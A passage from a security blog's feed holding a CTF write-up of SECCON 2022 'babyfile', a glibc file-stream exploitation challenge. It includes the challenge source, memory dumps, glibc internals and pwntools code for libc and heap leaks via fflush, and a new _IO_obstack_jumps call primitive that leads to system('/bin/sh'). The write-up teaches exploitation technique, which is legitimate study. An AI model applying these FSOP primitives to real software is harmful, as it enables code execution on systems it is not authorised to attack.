    io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;3&quot;)
    io.sendlineafter(b&quot;&amp;gt; &quot;, str(12).encode())
    io.sendlineafter(b&quot;&amp;gt; &quot;, str(10).encode())

    io.interactive()

if __name__ == &quot;__main__&quot;:
    exp()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>[SECCON CTF 2022 Quals] babyfile</title><link>https://n4sm.github.io/posts/babyfile/</link><guid isPermaLink="true">https://n4sm.github.io/posts/babyfile/</guid><description>babyfile is a file stream exploitation I did during the SECCON CTF 2022 Quals</description><pubDate>Fri, 19 Aug 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;babyfile is a file stream exploitation I did during the &lt;a href=&quot;https://ctftime.org/event/1764&quot;&gt;SECCON CTF 2022 Quals&lt;/a&gt; event. I didn’t succeed to flag it within the 24 hours :(. But anyway I hope this write up will be interesting to read given I show another way to gain code execution -- I have not seen before -- based on &lt;code&gt;_IO_obstack_jumps&lt;/code&gt;! The related files can be found &lt;a href=&quot;https://github.com/ret2school/ctf/tree/master/2022/seccon/pwn/babyfile&quot;&gt;here&lt;/a&gt;. If you&apos;re not familiar with file stream internals, I advice you to read my previous writeups about file stream exploitation, especially &lt;a href=&quot;../catastrophe&quot;&gt;this one&lt;/a&gt; and &lt;a href=&quot;../filestream&quot;&gt;this other one&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Populate base buffer with heap addresses with the help of &lt;code&gt;_IO_file_doallocate&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Make both input and output buffer equal to the base buffer with the help of &lt;code&gt;_IO_file_underflow&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Partial overwrite on right pointers to get a libc leak by simply flushing the file stream.&lt;/li&gt;
&lt;li&gt;Leak a heap address by printing a pointer stored within the main_arena.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_IO_obstack_overflow&lt;/code&gt; ends up calling a function pointer stored within the file stream we have control over which leads to a call primitive (plus control over the first argument). Then I just called &lt;code&gt;system(&quot;/bin/sh\x00&quot;)&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;What we have&lt;/h1&gt;
&lt;p&gt;The challenge is basically opening &lt;code&gt;/dev/null&lt;/code&gt;, asking for an offset and a value to write at &lt;code&gt;fp + offset&lt;/code&gt;. And we can freely flush &lt;code&gt;fp&lt;/code&gt;. The source code is prodided:&lt;/p&gt;
&lt;p&gt;Source code:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

static int menu(void);
static int getnline(char *buf, int size);
static int getint(void);

#define write_str(s) write(STDOUT_FILENO, s, sizeof(s)-1)

int main(void){
	FILE *fp;

	alarm(30);

	write_str(&quot;Play with FILE structure\n&quot;);

	if(!(fp = fopen(&quot;/dev/null&quot;, &quot;r&quot;))){
		write_str(&quot;Open error&quot;);
		return -1;
	}
	fp-&amp;gt;_wide_data = NULL;

	for(;;){
		switch(menu()){
			case 0:
				goto END;
			case 1:
				fflush(fp);
				break;
			case 2:
				{
					unsigned char ofs;
					write_str(&quot;offset: &quot;);
					if((ofs = getint()) &amp;amp; 0x80)
						ofs |= 0x40;
					write_str(&quot;value: &quot;);
					((char*)fp)[ofs] = getint();
				}
				break;
		}
		write_str(&quot;Done.\n&quot;);
	}

END:
	write_str(&quot;Bye!&quot;);
	_exit(0);
}

static int menu(void){
	write_str(&quot;\nMENU\n&quot;
			&quot;1. Flush\n&quot;
			&quot;2. Trick\n&quot;
			&quot;0. Exit\n&quot;
			&quot;&amp;gt; &quot;);

	return getint();
}

static int getnline(char *buf, int size){
	int len;

	if(size &amp;lt;= 0 || (len = read(STDIN_FILENO, buf, size-1)) &amp;lt;= 0)
		return -1;

	if(buf[len-1]==&apos;\n&apos;)
		len--;
	buf[len] = &apos;\0&apos;;

	return len;
}

static int getint(void){
	char buf[0x10] = {};

	getnline(buf, sizeof(buf));
	return atoi(buf);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Exploitation ideas&lt;/h1&gt;
&lt;p&gt;I tried (in this order) to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Get a libc leak by calling &lt;code&gt;_IO_file_underflow&lt;/code&gt; to make input and output buffers equal to the base buffer that contains with the help of &lt;code&gt;_IO_file_doallocate&lt;/code&gt; a heap address. And then flushing the file stream to leak the libc.&lt;/li&gt;
&lt;li&gt;Get a heap leak by leaking a heap pointer stored within the &lt;code&gt;main_arena&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Get an arbitrary write with a tcache dup technique, I got &lt;code&gt;__free_hook&lt;/code&gt; as the last pointer available in the target tcache bin but I didn&apos;t succeeded to get a shell &amp;gt;.&amp;lt;.&lt;/li&gt;
&lt;li&gt;Call primitive with control over the first argument by calling &lt;code&gt;_IO_obstack_overflow&lt;/code&gt; (part of the &lt;code&gt;_IO_obstack_jumps&lt;/code&gt; vtable). Then it allows us to call &lt;code&gt;system(&quot;/bin/sh\x00&quot;)&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Libc leak&lt;/h2&gt;
&lt;p&gt;To get a libc leak we have to write on stdout a certain amount of bytes that leak a libc address. To do so we&apos;re looking for a way to make interesting pointers appear as the base buffer to then initialize both input and output buffer to the base buffer and then do a partial overwrite on these fields to point to an area that contains libc pointers. To get heap addresses within the base buffer we can misalign the vtable in such a way that &lt;code&gt;fp-&amp;gt;vtable-&amp;gt;sync()&lt;/code&gt; calls &lt;code&gt;_IO_default_doallocate&lt;/code&gt;. Then &lt;code&gt;_IO_default_doallocate&lt;/code&gt; is called and does some operations:&lt;/p&gt;
&lt;p&gt;The initial state of the file stream looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x559c0955e2a0: 0x00000000fbad2488      0x0000000000000000
0x559c0955e2b0: 0x0000000000000000      0x0000000000000000
0x559c0955e2c0: 0x0000000000000000      0x0000000000000000
0x559c0955e2d0: 0x0000000000000000      0x0000000000000000
0x559c0955e2e0: 0x0000000000000000      0x0000000000000000
0x559c0955e2f0: 0x0000000000000000      0x0000000000000000
0x559c0955e300: 0x0000000000000000      0x00007f99db7c05c0
0x559c0955e310: 0x0000000000000003      0x0000000000000000
0x559c0955e320: 0x0000000000000000      0x0000559c0955e380
0x559c0955e330: 0xffffffffffffffff      0x0000000000000000
0x559c0955e340: 0x0000000000000000      0x0000000000000000
0x559c0955e350: 0x0000000000000000      0x0000000000000000
0x559c0955e360: 0x0000000000000000      0x0000000000000000
0x559c0955e370: 0x0000000000000000      0x00007f99db7bc4a8
0x559c0955e380: 0x0000000100000001      0x00007f99db7c6580
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It initializes the base buffer to a fresh &lt;code&gt;BUFSIZE&lt;/code&gt; allocated buffer.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int
_IO_default_doallocate (FILE *fp)
{
  char *buf;

  buf = malloc(BUFSIZ);
  if (__glibc_unlikely (buf == NULL))
    return EOF;

  _IO_setb (fp, buf, buf+BUFSIZ, 1);
  return 1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;fp state after the _IO_default_doallocate:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x559c0955e2a0: 0x00000000fbad2488      0x0000000000000000
0x559c0955e2b0: 0x0000000000000000      0x0000000000000000
0x559c0955e2c0: 0x0000000000000000      0x0000000000000000
0x559c0955e2d0: 0x0000000000000000      0x0000559c0955e480
0x559c0955e2e0: 0x0000559c09560480      0x0000000000000000
0x559c0955e2f0: 0x0000000000000000      0x0000000000000000
0x559c0955e300: 0x0000000000000000      0x00007f99db7c05c0
0x559c0955e310: 0x0000000000000003      0x0000000000000000
0x559c0955e320: 0x0000000000000000      0x0000559c0955e380
0x559c0955e330: 0xffffffffffffffff      0x0000000000000000
0x559c0955e340: 0x0000000000000000      0x0000000000000000
0x559c0955e350: 0x0000000000000000      0x0000000000000000
0x559c0955e360: 0x0000000000000000      0x0000000000000000
0x559c0955e370: 0x0000000000000000      0x00007f99db7bc4a8
0x559c0955e380: 0x0000000100000001      0x00007f99db7c6580
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once we have a valid pointer into the base buffer, we try to get into both the input and output buffer the base pointer.
Given the input / output buffer are &lt;code&gt;NULL&lt;/code&gt; and that &lt;code&gt;fp-&amp;gt;flags&lt;/code&gt; is &lt;code&gt;0xfbad1800 | 0x8000&lt;/code&gt; (plus &lt;code&gt;0x8000&lt;/code&gt; =&amp;gt; &lt;code&gt;_IO_USER_LOCK&lt;/code&gt; to not stuck into &lt;code&gt;fflush&lt;/code&gt;), we do not have issues with the checks. The issue with the &lt;code&gt;_IO_SYSREAD&lt;/code&gt; call is described in the code below.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;_IO_new_file_underflow&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int
_IO_new_file_underflow (FILE *fp)
{
  ssize_t count;

  /* C99 requires EOF to be &quot;sticky&quot;.  */
  if (fp-&amp;gt;_flags &amp;amp; _IO_EOF_SEEN)
    return EOF;

  if (fp-&amp;gt;_flags &amp;amp; _IO_NO_READS)
    {
      fp-&amp;gt;_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  if (fp-&amp;gt;_IO_read_ptr &amp;lt; fp-&amp;gt;_IO_read_end)
    return *(unsigned char *) fp-&amp;gt;_IO_read_ptr;

  if (fp-&amp;gt;_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp-&amp;gt;_IO_save_base != NULL)
	{
	  free (fp-&amp;gt;_IO_save_base);
	  fp-&amp;gt;_flags &amp;amp;= ~_IO_IN_BACKUP;
	}
      _IO_doallocbuf (fp);
    }

  /* FIXME This can/should be moved to genops ?? */
  if (fp-&amp;gt;_flags &amp;amp; (_IO_LINE_BUF|_IO_UNBUFFERED))
    {
      /* We used to flush all line-buffered stream.  This really isn&apos;t
	 required by any standard.  My recollection is that
	 traditional Unix systems did this for stdout.  stderr better
	 not be line buffered.  So we do just that here
	 explicitly.  --drepper */
      _IO_acquire_lock (stdout);

      if ((stdout-&amp;gt;_flags &amp;amp; (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
	  == (_IO_LINKED | _IO_LINE_BUF))
	_IO_OVERFLOW (stdout, EOF);

      _IO_release_lock (stdout);
    }

  _IO_switch_to_get_mode (fp);

  /* This is very tricky. We have to adjust those
     pointers before we call _IO_SYSREAD () since
     we may longjump () out while waiting for
     input. Those pointers may be screwed up. H.J. */
  fp-&amp;gt;_IO_read_base = fp-&amp;gt;_IO_read_ptr = fp-&amp;gt;_IO_buf_base;
  fp-&amp;gt;_IO_read_end = fp-&amp;gt;_IO_buf_base;
  fp-&amp;gt;_IO_write_base = fp-&amp;gt;_IO_write_ptr = fp-&amp;gt;_IO_write_end
    = fp-&amp;gt;_IO_buf_base;

  /* Given the vtable is misaligned, _IO_SYSREAD will call 
  _IO_default_pbackfail, the code is given after _IO_new_file_underflow */
  count = _IO_SYSREAD (fp, fp-&amp;gt;_IO_buf_base,
		       fp-&amp;gt;_IO_buf_end - fp-&amp;gt;_IO_buf_base);


  if (count &amp;lt;= 0)
    {
      if (count == 0)
	fp-&amp;gt;_flags |= _IO_EOF_SEEN;
      else
	fp-&amp;gt;_flags |= _IO_ERR_SEEN, count = 0;
  }
  fp-&amp;gt;_IO_read_end += count;
  if (count == 0)
    {
      /* If a stream is read to EOF, the calling application may switch active
	 handles.  As a result, our offset cache would no longer be valid, so
	 unset it.  */
      fp-&amp;gt;_offset = _IO_pos_BAD;
      return EOF;
    }
  if (fp-&amp;gt;_offset != _IO_pos_BAD)
    _IO_pos_adjust (fp-&amp;gt;_offset, count);
  return *(unsigned char *) fp-&amp;gt;_IO_read_ptr;
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;_IO_default_pbackfail&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int
_IO_default_pbackfail (FILE *fp, int c)
{
  if (fp-&amp;gt;_IO_read_ptr &amp;gt; fp-&amp;gt;_IO_read_base &amp;amp;&amp;amp; !_IO_in_backup (fp)
      &amp;amp;&amp;amp; (unsigned char) fp-&amp;gt;_IO_read_ptr[-1] == c)
    --fp-&amp;gt;_IO_read_ptr;
  else
    {
      /* Need to handle a filebuf in write mode (switch to read mode). FIXME!*/
      if (!_IO_in_backup (fp))
	{
	  /* We need to keep the invariant that the main get area
	     logically follows the backup area.  */
	  if (fp-&amp;gt;_IO_read_ptr &amp;gt; fp-&amp;gt;_IO_read_base &amp;amp;&amp;amp; _IO_have_backup (fp))
	    {
	      if (save_for_backup (fp, fp-&amp;gt;_IO_read_ptr))
		return EOF;
	    }
	  else if (!_IO_have_backup (fp))
	    {
        // !! We should take this path cuz there is no save buffer plus we do not have the backup flag
	      /* No backup buffer: allocate one. */
	      /* Use nshort buffer, if unused? (probably not)  FIXME */
	      int backup_size = 128;
	      char *bbuf = (char *) malloc (backup_size);
	      if (bbuf == NULL)
		return EOF;
	      fp-&amp;gt;_IO_save_base = bbuf;
	      fp-&amp;gt;_IO_save_end = fp-&amp;gt;_IO_save_base + backup_size;
	      fp-&amp;gt;_IO_backup_base = fp-&amp;gt;_IO_save_end;
	    }
	  fp-&amp;gt;_IO_read_base = fp-&amp;gt;_IO_read_ptr;
	  _IO_switch_to_backup_area (fp);
	}
      else if (fp-&amp;gt;_IO_read_ptr &amp;lt;= fp-&amp;gt;_IO_read_base)
	{
	  /* Increase size of existing backup buffer. */
	  size_t new_size;
	  size_t old_size = fp-&amp;gt;_IO_read_end - fp-&amp;gt;_IO_read_base;
	  char *new_buf;
	  new_size = 2 * old_size;
	  new_buf = (char *) malloc (new_size);
	  if (new_buf == NULL)
            return EOF;
	  memcpy (new_buf + (new_size - old_size), fp-&amp;gt;_IO_read_base,
		  old_size);
	  free (fp-&amp;gt;_IO_read_base);
	  _IO_setg (fp, new_buf, new_buf + (new_size - old_size),
		    new_buf + new_size);
	  fp-&amp;gt;_IO_backup_base = fp-&amp;gt;_IO_read_ptr;
	}

      *--fp-&amp;gt;_IO_read_ptr = c;
    }
  return (unsigned char) c;
}
libc_hidden_def (_IO_default_pbackfail)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;fp state after the _IO_new_file_underflow&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x559c0955e2a0: 0x00000000fbad2588      0x0000559c0956050f
0x559c0955e2b0: 0x0000559c09560590      0x0000559c09560490
0x559c0955e2c0: 0x0000559c0955e480      0x0000559c0955e480
0x559c0955e2d0: 0x0000559c0955e480      0x0000559c0955e480
0x559c0955e2e0: 0x0000559c09560480      0x0000559c0955e480
0x559c0955e2f0: 0x0000559c09560510      0x0000559c0955e480
0x559c0955e300: 0x0000000000000000      0x00007f99db7c05c0
0x559c0955e310: 0x0000000000000003      0x0000000000000000
0x559c0955e320: 0x0000000000000000      0x0000559c0955e380
0x559c0955e330: 0xffffffffffffffff      0x0000000000000000
0x559c0955e340: 0x0000000000000000      0x0000000000000000
0x559c0955e350: 0x0000000000000000      0x0000000000000000
0x559c0955e360: 0x0000000000000000      0x0000000000000000
0x559c0955e370: 0x0000000000000000      0x00007f99db7bc460
0x559c0955e380: 0x0000000100000001      0x00007f99db7c6580
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once we have the pointers at the right place, we can simply do some partial overwrites to the portion of the heap that contains a libc pointer. Indeed by taking a look at the memory at &lt;code&gt;fp-&amp;gt;_IO_base_buffer &amp;amp; ~0xff&lt;/code&gt; (to avoid 4 bits bruteforce) we can that we can directly reach a libc pointer:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x5649e8077400: 0x0000000000000000      0x0000000000000000
0x5649e8077410: 0x0000000000000000      0x0000000000000000
0x5649e8077420: 0x0000000000000000      0x0000000000000000
0x5649e8077430: 0x0000000000000000      0x0000000000000000
0x5649e8077440: 0x0000000000000000      0x0000000000000000
0x5649e8077450: 0x0000000000000000      0x0000000000000000
0x5649e8077460: 0x0000000000000000      0x0000000000000000
0x5649e8077470: 0x00007f4092dc3f60      0x0000000000002011
0x5649e8077480: 0x0000000000000000      0x0000000000000000
0x5649e8077490: 0x0000000000000000      0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then we have to actually doing the partial overwrite by corrupting certain pointers to leak this address with the help of &lt;code&gt;_IO_fflush&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int
_IO_fflush (FILE *fp)
{
  if (fp == NULL)
    return _IO_flush_all ();
  else
    {
      int result;
      CHECK_FILE (fp, EOF);
      _IO_acquire_lock (fp);
      result = _IO_SYNC (fp) ? EOF : 0;
      _IO_release_lock (fp);
      return result;
    }
}
libc_hidden_def (_IO_fflush)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It ends up calling &lt;code&gt;_IO_new_file_sync(fp)&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int
_IO_new_file_sync (FILE *fp)
{
  ssize_t delta;
  int retval = 0;

  /*    char* ptr = cur_ptr(); */
  if (fp-&amp;gt;_IO_write_ptr &amp;gt; fp-&amp;gt;_IO_write_base)
    if (_IO_do_flush(fp)) return EOF;
  delta = fp-&amp;gt;_IO_read_ptr - fp-&amp;gt;_IO_read_end;
  if (delta != 0)
    {
      off64_t new_pos = _IO_SYSSEEK (fp, delta, 1);
      if (new_pos != (off64_t) EOF)
	fp-&amp;gt;_IO_read_end = fp-&amp;gt;_IO_read_ptr;
      else if (errno == ESPIPE)
	; /* Ignore error from unseekable devices. */
      else
	retval = EOF;
    }
  if (retval != EOF)
    fp-&amp;gt;_offset = _IO_pos_BAD;
  /* FIXME: Cleanup - can this be shared? */
  /*    setg(base(), ptr, ptr); */
  return retval;
}
libc_hidden_ver (_IO_new_file_sync, _IO_file_sync)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I already talked about the way we can gain arbitrary read with FSOP attack on &lt;code&gt;stdout&lt;/code&gt; in &lt;a href=&quot;../catastrophe&quot;&gt;this article&lt;/a&gt;. The way we will get a leak is almost the same, first we need to trigger the first condition in &lt;code&gt;_IO_new_file_sync&lt;/code&gt; in such a way that &lt;code&gt;fp-&amp;gt;_IO_write_ptr &amp;gt; fp-&amp;gt;_IO_write_base&lt;/code&gt; will trigger &lt;code&gt;_IO_do_flush(fp)&lt;/code&gt;. Then &lt;code&gt;_IO_do_flush&lt;/code&gt; triggers the classic code path I dump right below. I will not comment all of it, the only thing you have to remind is that given most of the buffers are already initialized to a valid heap address beyond the target we do not have to rewrite them, this way we will significantly reduce the amount of partial overwrite.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#define _IO_do_flush(_f) \
  ((_f)-&amp;gt;_mode &amp;lt;= 0							      \
   ? _IO_do_write(_f, (_f)-&amp;gt;_IO_write_base,				      \
		  (_f)-&amp;gt;_IO_write_ptr-(_f)-&amp;gt;_IO_write_base)		      \
   : _IO_wdo_write(_f, (_f)-&amp;gt;_wide_data-&amp;gt;_IO_write_base,		      \
		   ((_f)-&amp;gt;_wide_data-&amp;gt;_IO_write_ptr			      \
		    - (_f)-&amp;gt;_wide_data-&amp;gt;_IO_write_base)))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Condition&lt;/strong&gt;:
&lt;code&gt;(_f)-&amp;gt;_IO_write_ptr-(_f)-&amp;gt;_IO_write_base)&lt;/code&gt; &amp;gt;= &lt;code&gt;sizeof(uint8_t* )&lt;/code&gt;, &lt;code&gt;(_f)-&amp;gt;_IO_write_base&lt;/code&gt; == &lt;code&gt;target&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int
_IO_new_do_write (FILE *fp, const char *data, size_t to_do)
{
  return (to_do == 0
	  || (size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver (_IO_new_do_write, _IO_do_write)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;static size_t
new_do_write (FILE *fp, const char *data, size_t to_do)
{
  size_t count;
  if (fp-&amp;gt;_flags &amp;amp; _IO_IS_APPENDING)
    /* On a system without a proper O_APPEND implementation,
       you would need to sys_seek(0, SEEK_END) here, but is
       not needed nor desirable for Unix- or Posix-like systems.
       Instead, just indicate that offset (before and after) is
       unpredictable. */
    fp-&amp;gt;_offset = _IO_pos_BAD;
  else if (fp-&amp;gt;_IO_read_end != fp-&amp;gt;_IO_write_base)
    {
      off64_t new_pos
	= _IO_SYSSEEK (fp, fp-&amp;gt;_IO_write_base - fp-&amp;gt;_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
	return 0;
      fp-&amp;gt;_offset = new_pos;
    }
  count = _IO_SYSWRITE (fp, data, to_do);
  if (fp-&amp;gt;_cur_column &amp;amp;&amp;amp; count)
    fp-&amp;gt;_cur_column = _IO_adjust_column (fp-&amp;gt;_cur_column - 1, data, count) + 1;
  _IO_setg (fp, fp-&amp;gt;_IO_buf_base, fp-&amp;gt;_IO_buf_base, fp-&amp;gt;_IO_buf_base);
  fp-&amp;gt;_IO_write_base = fp-&amp;gt;_IO_write_ptr = fp-&amp;gt;_IO_buf_base;
  fp-&amp;gt;_IO_write_end = (fp-&amp;gt;_mode &amp;lt;= 0
		       &amp;amp;&amp;amp; (fp-&amp;gt;_flags &amp;amp; (_IO_LINE_BUF | _IO_UNBUFFERED))
		       ? fp-&amp;gt;_IO_buf_base : fp-&amp;gt;_IO_buf_end);
  return count;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: Given &lt;code&gt;fp-&amp;gt;_IO_read_end != fp-&amp;gt;_IO_write_base&lt;/code&gt;, &lt;code&gt;fp-&amp;gt;_IO_read_end&lt;/code&gt; is the save buffer that has been allocated and switched in &lt;code&gt;_IO_default_pbackfail&lt;/code&gt; and that &lt;code&gt;_IO_write_base&lt;/code&gt; contains the target memory area, we have to include the &lt;code&gt;_IO_IS_APPENDING&lt;/code&gt; flag into &lt;code&gt;fp-&amp;gt;_flags&lt;/code&gt; to avoid the &lt;code&gt;_IO_SYSSEEK&lt;/code&gt; which would fail and then return. Therefore we can finally reach the &lt;code&gt;_IO_SYSWRITE&lt;/code&gt; that will leak the libc pointer.&lt;/p&gt;
&lt;p&gt;The leak phase gives for me something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# do_allocate
partial_write(pwn.p8(0xa8), File.vtable)
fflush()

# _IO_file_underflow =&amp;gt; _IO_default_pbackfail
partial_write(pwn.p8(0x60), File.vtable)
fflush()

write_ptr(pwn.p64(0xfbad1800 | 0x8000), File.flags)

partial_write(pwn.p8(0x70), File._IO_write_base)

partial_write(pwn.p8(0x78), File._IO_write_ptr)
partial_write(pwn.p8(0xa0), File.vtable)
write_ptr(pwn.p64(1), File.fileno)
fflush()

leak = pwn.u64(io.recv(8).ljust(8, b&quot;\x00&quot;)) - 0x2160c0 + 0x2d160
pwn.log.info(f&quot;libc: {hex(leak)}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Heap leak&lt;/h2&gt;
&lt;p&gt;To use the &lt;code&gt;_IO_obstack_jumps&lt;/code&gt; technique, we have to craft a custom &lt;code&gt;obstack&lt;/code&gt; structure on the heap (right on our filestream in fact) and thus we need to leak the heap to be able reference it. But given we already have a libc leak that&apos;s very easy, within the &lt;code&gt;main_arena&lt;/code&gt; are stored some heap pointers, which means we just have to use the same &lt;code&gt;_IO_fflush&lt;/code&gt; trick to flush the filestream and then leak a heap pointer stored in the &lt;code&gt;main_arena&lt;/code&gt;. I wrote a function that leaks directly the right pointer from a given address:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def leak_ptr(ptr: bytes) -&amp;gt; int:
    &quot;&quot;&quot;
    We assume flags are right
    &quot;&quot;&quot;

    write_ptr(ptr, File._IO_write_base)
    
    dest = (int.from_bytes(ptr, byteorder=&quot;little&quot;)+8).to_bytes(8, byteorder=&apos;little&apos;)

    write_ptr(dest, File._IO_write_ptr)

    fflush()
    ret = pwn.u64(io.recv(8).ljust(8, b&quot;\x00&quot;))

    return ret

&quot;&quot;&quot;
[...]
&quot;&quot;&quot;

leak_main_arena = leak + 0x1ed5a0

heap = leak_ptr(pwn.p64(leak_main_arena)) - 0x2a0
pwn.log.info(f&quot;heap: {hex(heap)}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;obstack exploitation&lt;/h2&gt;
&lt;p&gt;As far I know, &lt;code&gt;obstack&lt;/code&gt; has never been used in CTF even though it can be leveraged as a very good call primitive (and as said before it needs a heap and libc to be used). Basically, the &lt;code&gt;_IO_obstack_jumps&lt;/code&gt; vtable looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* the jump table.  */
const struct _IO_jump_t _IO_obstack_jumps libio_vtable attribute_hidden =
{
    JUMP_INIT_DUMMY,
    JUMP_INIT(finish, NULL),
    JUMP_INIT(overflow, _IO_obstack_overflow),
    JUMP_INIT(underflow, NULL),
    JUMP_INIT(uflow, NULL),
    JUMP_INIT(pbackfail, NULL),
    JUMP_INIT(xsputn, _IO_obstack_xsputn),
    JUMP_INIT(xsgetn, NULL),
    JUMP_INIT(seekoff, NULL),
    JUMP_INIT(seekpos, NULL),
    JUMP_INIT(setbuf, NULL),
    JUMP_INIT(sync, NULL),
    JUMP_INIT(doallocate, NULL),
    JUMP_INIT(read, NULL),
    JUMP_INIT(write, NULL),
    JUMP_INIT(seek, NULL),
    JUMP_INIT(close, NULL),
    JUMP_INIT(stat, NULL),
    JUMP_INIT(showmanyc, NULL),
    JUMP_INIT(imbue, NULL)
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Given when &lt;code&gt;_IO_SYNC&lt;/code&gt; is called in &lt;code&gt;_IO_fflush&lt;/code&gt; the second argument is &lt;code&gt;0x1&lt;/code&gt;, we cannot call functions like &lt;code&gt;_IO_obstack_xsputn&lt;/code&gt; that need buffer as arguments, that&apos;s the reason why we have to dig into &lt;code&gt;_IO_obstack_overflow&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static int
_IO_obstack_overflow (FILE *fp, int c)
{
  struct obstack *obstack = ((struct _IO_obstack_file *) fp)-&amp;gt;obstack;
  int size;

  /* Make room for another character.  This might as well allocate a
     new chunk a memory and moves the old contents over.  */
  assert (c != EOF);
  obstack_1grow (obstack, c);

  /* Setup the buffer pointers again.  */
  fp-&amp;gt;_IO_write_base = obstack_base (obstack);
  fp-&amp;gt;_IO_write_ptr = obstack_next_free (obstack);
  size = obstack_room (obstack);
  fp-&amp;gt;_IO_write_end = fp-&amp;gt;_IO_write_ptr + size;
  /* Now allocate the rest of the current chunk.  */
  obstack_blank_fast (obstack, size);

  return c;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;struct _IO_obstack_file&lt;/code&gt; is defined as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct _IO_obstack_file
{
  struct _IO_FILE_plus file;
  struct obstack *obstack;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Which means right after the &lt;code&gt;vtable&lt;/code&gt; field within the file stream should be a pointer toward a &lt;code&gt;struct obstack&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct obstack          /* control current object in current chunk */
{
  long chunk_size;              /* preferred size to allocate chunks in */
  struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */
  char *object_base;            /* address of object we are building */
  char *next_free;              /* where to add next char to current object */
  char *chunk_limit;            /* address of char after current chunk */
  union
  {
    PTR_INT_TYPE tempint;
    void *tempptr;
  } temp;                       /* Temporary for some macros.  */
  int alignment_mask;           /* Mask of alignment for each object. */
  /* These prototypes vary based on &apos;use_extra_arg&apos;, and we use
     casts to the prototypeless function type in all assignments,
     but having prototypes here quiets -Wstrict-prototypes.  */
  struct _obstack_chunk *(*chunkfun) (void *, long);
  void (*freefun) (void *, struct _obstack_chunk *);
  void *extra_arg;              /* first arg for chunk alloc/dealloc funcs */
  unsigned use_extra_arg : 1;     /* chunk alloc/dealloc funcs take extra arg */
  unsigned maybe_empty_object : 1; /* There is a possibility that the current
				      chunk contains a zero-length object.  This
				      prevents freeing the chunk if we allocate
				      a bigger chunk to replace it. */
  unsigned alloc_failed : 1;      /* No longer used, as we now call the failed
				     handler on error, but retained for binary
				     compatibility.  */
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once &lt;code&gt;obstack_1grow&lt;/code&gt; is called, if &lt;code&gt;__o-&amp;gt;next_free + 1 &amp;gt; __o-&amp;gt;chunk_limit&lt;/code&gt;, &lt;code&gt;_obstack_newchunk&lt;/code&gt; gets called.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# define obstack_1grow(OBSTACK, datum)					      \
  __extension__								      \
    ({ struct obstack *__o = (OBSTACK);				      \
       if (__o-&amp;gt;next_free + 1 &amp;gt; __o-&amp;gt;chunk_limit)			      \
	 _obstack_newchunk (__o, 1);					      \
       obstack_1grow_fast (__o, datum);				      \
       (void) 0; })
&lt;/code&gt;&lt;/pre&gt;
